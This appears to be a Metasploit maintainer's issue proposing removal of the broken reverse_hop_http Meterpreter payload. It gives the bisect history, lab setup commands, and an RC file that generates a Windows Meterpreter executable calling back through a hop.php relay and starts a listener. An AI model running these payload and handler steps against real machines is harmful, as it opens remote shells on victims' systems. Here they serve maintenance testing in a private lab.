reverse_hop_http does not work

[smcintyre-r7]

The reverse_hop_http payload does not work now and it hasn't worked since 4ac7c5e. I was able to bisect the diff between where it was added in 4ac7c5e and when it stopped working. Since it worked for less than 3 months over 8 years ago and there are currently no issues noting that it's not working, I think we should simply remove it. This came up while I was testing the changes in #19609.

Testing Setup

I used this RC file to run the commands to generate the payload and start the handler. The HOPURL pointed to an apache LAMP docker container.

use payload/windows/meterpreter/reverse_hop_http
set HOPURL http://192.168.159.135/hop.php
generate -t exe -f meterpreter_hop.exe

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_hop_http
set HOPURL http://192.168.159.135/hop.php
exploit

I started the LAMP server with docker run --rm -d -p 80:80 --name my-apache-php-app -v "$PWD":/var/www/html php:5.6.40-apache

To run this old of a Metasploit version, I checked out the commit with git then used another container started with: podman run --rm -v $(pwd):/root/msf -ti ruby:2.1.7 /bin/bash.

In that container I had to fix the sources to install the necessary dependencies:

cat <<EOF > /etc/apt/sources.list
deb http://archive.debian.org/debian jessie main
deb-src http://archive.debian.org/debian jessie main
deb http://archive.debian.org/debian-security jessie/updates main
deb-src http://archive.debian.org/debian-security jessie/updates main
EOF
apt-get update -o Acquire::Check-Valid-Until=false
apt-get install -y libpcap0.8-dev --force-yes

After that I could bundle install and bundle exec the old version of Metasploit for testing.